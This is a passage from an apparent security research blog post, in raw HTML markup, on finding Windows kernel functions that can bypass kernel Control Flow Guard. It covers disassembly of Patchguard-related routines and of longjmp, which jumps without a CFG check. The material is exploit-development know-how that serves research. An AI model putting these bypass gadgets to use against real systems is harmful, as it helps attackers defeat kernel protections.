class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;nf&#34;&gt;jmp&lt;/span&gt;        &lt;span class=&#34;nb&#34;&gt;rcx&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;&#xA;&lt;/details&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;RtlLookupFunctionEntryEx&lt;/code&gt; calls the value &lt;code&gt;RCX + *(RCX-0x1000+0x7E8)&lt;/code&gt; :&lt;/p&gt;&#xA;&lt;details&gt;&#xA;    &lt;summary&gt;RtlLookupFunctionEntryEx&lt;/summary&gt;&#xA;    &lt;div&gt;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code class=&#34;language-nasm&#34; data-lang=&#34;nasm&#34;&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;nf&#34;&gt;xor&lt;/span&gt;        &lt;span class=&#34;kt&#34;&gt;qword&lt;/span&gt; &lt;span class=&#34;nv&#34;&gt;ptr&lt;/span&gt; &lt;span class=&#34;nb&#34;&gt;cs&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;:[&lt;/span&gt;&lt;span class=&#34;nb&#34;&gt;rcx&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;],&lt;/span&gt; &lt;span class=&#34;nb&#34;&gt;rdx&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;nf&#34;&gt;xor&lt;/span&gt;        &lt;span class=&#34;kt&#34;&gt;qword&lt;/span&gt; &lt;span class=&#34;nv&#34;&gt;ptr&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;[&lt;/span&gt;&lt;span class=&#34;nb&#34;&gt;rcx&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;+&lt;/span&gt; &lt;span class=&#34;mh&#34;&gt;0x8&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;],&lt;/span&gt; &lt;span class=&#34;nb&#34;&gt;rdx&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;nf&#34;&gt;lea&lt;/span&gt;        &lt;span class=&#34;nb&#34;&gt;rdx&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;[&lt;/span&gt;&lt;span class=&#34;nb&#34;&gt;rcx&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;-&lt;/span&gt; &lt;span class=&#34;mh&#34;&gt;0x1000&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;]&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;nf&#34;&gt;mov&lt;/span&gt;        &lt;span class=&#34;nb&#34;&gt;eax&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;kt&#34;&gt;dword&lt;/span&gt; &lt;span class=&#34;nv&#34;&gt;ptr&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;[&lt;/span&gt;&lt;span class=&#34;nb&#34;&gt;rdx&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;+&lt;/span&gt; &lt;span class=&#34;mh&#34;&gt;0x7e8&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;]&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;nf&#34;&gt;add&lt;/span&gt;        &lt;span class=&#34;nb&#34;&gt;rax&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;nb&#34;&gt;rdx&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;nf&#34;&gt;sub&lt;/span&gt;        &lt;span class=&#34;nb&#34;&gt;rsp&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;mh&#34;&gt;0x28&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;nf&#34;&gt;call&lt;/span&gt;       &lt;span class=&#34;nb&#34;&gt;rax&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;nf&#34;&gt;add&lt;/span&gt;        &lt;span class=&#34;nb&#34;&gt;rsp&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;mh&#34;&gt;0x28&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;nf&#34;&gt;mov&lt;/span&gt;        &lt;span class=&#34;nv&#34;&gt;r8&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;kt&#34;&gt;qword&lt;/span&gt; &lt;span class=&#34;nv&#34;&gt;ptr&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;[&lt;/span&gt;&lt;span class=&#34;nb&#34;&gt;rax&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;+&lt;/span&gt; &lt;span class=&#34;mh&#34;&gt;0x110&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;]&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;nf&#34;&gt;lea&lt;/span&gt;        &lt;span class=&#34;nb&#34;&gt;rcx&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;[&lt;/span&gt;&lt;span class=&#34;nb&#34;&gt;rax&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;+&lt;/span&gt; &lt;span class=&#34;mh&#34;&gt;0x798&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;]&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;nf&#34;&gt;mov&lt;/span&gt;        &lt;span class=&#34;nb&#34;&gt;edx&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;mh&#34;&gt;0x1&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;nf&#34;&gt;jmp&lt;/span&gt;        &lt;span class=&#34;nv&#34;&gt;r8&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;&#xA;&lt;/details&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;RtlpExecuteHandlerForException&lt;/code&gt; simply calls the 6th argument:&lt;/p&gt;&#xA;&lt;details&gt;&#xA;    &lt;summary&gt;RtlpExecuteHandlerForException&lt;/summary&gt;&#xA;    &lt;div&gt;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code class=&#34;language-nasm&#34; data-lang=&#34;nasm&#34;&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;nf&#34;&gt;sub&lt;/span&gt;        &lt;span class=&#34;nb&#34;&gt;rsp&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;mh&#34;&gt;0x28&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;nf&#34;&gt;mov&lt;/span&gt;        &lt;span class=&#34;kt&#34;&gt;qword&lt;/span&gt; &lt;span class=&#34;nv&#34;&gt;ptr&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;[&lt;/span&gt;&lt;span class=&#34;nb&#34;&gt;rsp&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;+&lt;/span&gt; &lt;span class=&#34;mh&#34;&gt;0x20&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;],&lt;/span&gt; &lt;span class=&#34;nv&#34;&gt;r9&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;nf&#34;&gt;mov&lt;/span&gt;        &lt;span class=&#34;nb&#34;&gt;rax&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;kt&#34;&gt;qword&lt;/span&gt; &lt;span class=&#34;nv&#34;&gt;ptr&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;[&lt;/span&gt;&lt;span class=&#34;nv&#34;&gt;r9&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;+&lt;/span&gt; &lt;span class=&#34;mh&#34;&gt;0x30&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;]&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;nf&#34;&gt;call&lt;/span&gt;       &lt;span class=&#34;nb&#34;&gt;rax&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;nf&#34;&gt;nop&lt;/span&gt;        &lt;span class=&#34;kt&#34;&gt;dword&lt;/span&gt; &lt;span class=&#34;nv&#34;&gt;ptr&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;[&lt;/span&gt;&lt;span class=&#34;nb&#34;&gt;rax&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;]&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;nf&#34;&gt;nop&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;nf&#34;&gt;add&lt;/span&gt;        &lt;span class=&#34;nb&#34;&gt;rsp&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;,&lt;/span&gt;&lt;span class=&#34;mh&#34;&gt;0x28&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;nf&#34;&gt;ret&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;&#xA;&lt;/details&gt;&#xA;&#xA;&lt;p&gt;Despite having very different names, &lt;code&gt;KiDpcDispatch&lt;/code&gt;, and &lt;code&gt;RtlLookupFunctionEntryEx&lt;/code&gt; have something in common: they are all Patchguard functions with intentionally confusing names! :)&lt;/p&gt;&#xA;&lt;p&gt;&lt;code&gt;KiDpcDispatch&lt;/code&gt; is not suitable for our needs, since it requires RWX memory (in the last 3 instructions).&lt;/p&gt;&#xA;&lt;p&gt;&lt;code&gt;RtlLookupFunctionEntryEx&lt;/code&gt; could work, but would require carefully calculating the value in the 1st argument, so that the write operation ends up writing to writeable memory.&lt;/p&gt;&#xA;&lt;p&gt;Finally &lt;code&gt;RtlpExecuteHandlerForException&lt;/code&gt; redirects the control flow to the 6th parameter, with a &lt;code&gt;call&lt;/code&gt; instruction. This can also work, depending on the primitive you have.&lt;/p&gt;&#xA;&lt;p&gt;Overall, I think symbolic execution has a lot of potential to identify interesting functions to get around kCFG, even without much knowledge on the topic, I was quickly able to find valid candidates.&#xA;My implementation was also very limited, if the function had an immediate call, the symbolic execution would stop and not recursively execute the function called - and I still had multiple candidates.&lt;/p&gt;&#xA;&lt;h3 id=&#34;longjmp&#34;&gt;longjmp&lt;/h3&gt;&#xA;&lt;p&gt;While manually searching for interesting functions, I decided to look at the implementation of &lt;code&gt;longjmp&lt;/code&gt;:&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code class=&#34;language-C&#34; data-lang=&#34;C&#34;&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;kt&#34;&gt;void&lt;/span&gt; &lt;span class=&#34;nf&#34;&gt;longjmp&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;jmp_buf&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;env&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;kt&#34;&gt;int&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;value&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;)&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;p&#34;&gt;{&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;  &lt;span class=&#34;nf&#34;&gt;KeCheckStackAndTargetAddress&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;env&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;Rip&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;env&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;Rsp&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;);&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;  &lt;span class=&#34;nf&#34;&gt;__longjmp_internal&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;env&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;value&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;);&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;  &lt;span class=&#34;k&#34;&gt;return&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;p&#34;&gt;}&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;The &lt;code&gt;__longjmp_internal&lt;/code&gt; function performs the actual &lt;em&gt;longjmp&lt;/em&gt; - it restores nonvolatile registers from the &lt;code&gt;env&lt;/code&gt; parameter and jumps to the &lt;code&gt;Rip&lt;/code&gt; value, without any CFG check:&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code class=&#34;language-nasm&#34; data-lang=&#34;nasm&#34;&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;nf&#34;&gt;...&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;nf&#34;&gt;mov&lt;/span&gt; &lt;span class=&#34;nb&#34;&gt;rax&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;nb&#34;&gt;rdx&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;nf&#34;&gt;mov&lt;/span&gt; &lt;span class=&#34;nb&#34;&gt;rbx&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;kt&#34;&gt;qword&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;[&lt;/span&gt;&lt;span class=&#34;nb&#34;&gt;rcx&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;+&lt;/span&gt; &lt;span class=&#34;mi&#34;&gt;8&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;]&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;nf&#34;&gt;mov&lt;/span&gt; &lt;span class=&#34;nb&#34;&gt;rsi&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;kt&#34;&gt;qword&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;[&lt;/span&gt;&lt;span class=&#34;nb&#34;&gt;rcx&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;+&lt;/span&gt; &lt;span class=&#34;mh&#34;&gt;0x20&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;]&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;nf&#34;&gt;mov&lt;/span&gt; &lt;span class=&#34;nb&#34;&gt;rdi&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;kt&#34;&gt;qword&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;[&lt;/span&gt;&lt;span class=&#34;nb&#34;&gt;rcx&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;+&lt;/span&gt; &lt;span class=&#34;mh&#34;&gt;0x28&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;]&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;nf&#34;&gt;mov&lt;/span&gt; &lt;span class=&#34;nv&#34;&gt;r12&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;kt&#34;&gt;qword&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;[&lt;/span&gt;&lt;span class=&#34;nb&#34;&gt;rcx&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;+&lt;/span&gt; &lt;span class=&#34;mh&#34;&gt;0x30&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;]&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;nf&#34;&gt;mov&lt;/span&gt; &lt;span class=&#34;nv&#34;&gt;r13&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;kt&#34;&gt;qword&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;[&lt;/span&gt;&lt;span class=&#34;nb&#34;&gt;rcx&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;+&lt;/span&gt; &lt;span class=&#34;mh&#34;&gt;0x38&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;]&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;nf&#34;&gt;mov&lt;/span&gt; &lt;span class=&#34;nv&#34;&gt;r14&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;kt&#34;&gt;qword&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;[&lt;/span&gt;&lt;span class=&#34;nb&#34;&gt;rcx&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;+&lt;/span&gt; &lt;span class=&#34;mh&#34;&gt;0x40&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;]&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;nf&#34;&gt;mov&lt;/span&gt; &lt;span class=&#34;nv&#34;&gt;r15&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;kt&#34;&gt;qword&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;[&lt;/span&gt;&lt;span class=&#34;nb&#34;&gt;rcx&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;+&lt;/span&gt; &lt;span class=&#34;mh&#34;&gt;0x48&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;]&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;nf&#34;&gt;ldmxcsr&lt;/span&gt; &lt;span class=&#34;kt&#34;&gt;dword&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;[&lt;/span&gt;&lt;span class=&#34;nb&#34;&gt;rcx&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;+&lt;/span&gt; &lt;span class=&#34;mh&#34;&gt;0x58&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;]&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;nf&#34;&gt;movdqa&lt;/span&gt; &lt;span class=&#34;nv&#34;&gt;xmm6&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;nv&#34;&gt;xmmword&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;[&lt;/span&gt;&lt;span class=&#34;nb&#34;&gt;rcx&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;+&lt;/span&gt; &lt;span class=&#34;mh&#34;&gt;0x60&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;]&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;nf&#34;&gt;movdqa&lt;/span&gt; &lt;span class=&#34;nv&#34;&gt;xmm7&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;nv&#34;&gt;xmmword&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;[&lt;/span&gt;&lt;span class=&#34;nb&#34;&gt;rcx&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;+&lt;/span&gt; &lt;span class=&#34;mh&#34;&gt;0x70&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;]&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;nf&#34;&gt;movdqa&lt;/span&gt; &lt;span class=&#34;nv&#34;&gt;xmm8&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;nv&#34;&gt;xmmword&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;[&lt;/span&gt;&lt;span class=&#34;nb&#34;&gt;rcx&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;+&lt;/span&gt; &lt;span class=&#34;mh&#34;&gt;0x80&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;]&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;nf&#34;&gt;movdqa&lt;/span&gt; &lt;span class=&#34;nv&#34;&gt;xmm9&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;nv&#34;&gt;xmmword&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;[&lt;/span&gt;&lt;span class=&#34;nb&#34;&gt;rcx&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;+&lt;/span&gt; &lt;span class=&#34;mh&#34;&gt;0x90&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;]&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;nf&#34;&gt;movdqa&lt;/span&gt; &lt;span class=&#34;nv&#34;&gt;xmm10&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;nv&#34;&gt;xmmword&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;[&lt;/span&gt;&lt;span class=&#34;nb&#34;&gt;rcx&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;+&lt;/span&gt; &lt;span class=&#34;mh&#34;&gt;0xa0&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;]&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;nf&#34;&gt;movdqa&lt;/span&gt; &lt;span class=&#34;nv&#34;&gt;xmm11&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;nv&#34;&gt;xmmword&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;[&lt;/span&gt;&lt;span class=&#34;nb&#34;&gt;rcx&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;+&lt;/span&gt; &lt;span class=&#34;mh&#34;&gt;0xb0&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;]&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;nf&#34;&gt;movdqa&lt;/span&gt; &lt;span class=&#34;nv&#34;&gt;xmm12&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;nv&#34;&gt;xmmword&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;[&lt;/span&gt;&lt;span class=&#34;nb&#34;&gt;rcx&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;+&lt;/span&gt; &lt;span class=&#34;mh&#34;&gt;0xc0&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;]&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;nf&#34;&gt;movdqa&lt;/span&gt; &lt;span class=&#34;nv&#34;&gt;xmm13&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;nv&#34;&gt;xmmword&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;[&lt;/span&gt;&lt;span class=&#34;nb&#34;&gt;rcx&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;+&lt;/span&gt; &lt;span class=&#34;mh&#34;&gt;0xd0&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;]&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;nf&#34;&gt;movdqa&lt;/span&gt; &lt;span class=&#34;nv&#34;&gt;xmm14&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;nv&#34;&gt;xmmword&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;[&lt;/span&gt;&lt;span class=&#34;nb&#34;&gt;rcx&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;+&lt;/span&gt; &lt;span class=&#34;mh&#34;&gt;0xe0&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;]&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;nf&#34;&gt;movdqa&lt;/span&gt; &lt;span class=&#34;nv&#34;&gt;xmm15&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;nv&#34;&gt;xmmword&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;[&lt;/span&gt;&lt;span class=&#34;nb&#34;&gt;rcx&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;+&lt;/span&gt; &lt;span class=&#34;mh&#34;&gt;0xf0&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;]&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;nf&#34;&gt;mov&lt;/span&gt; &lt;span 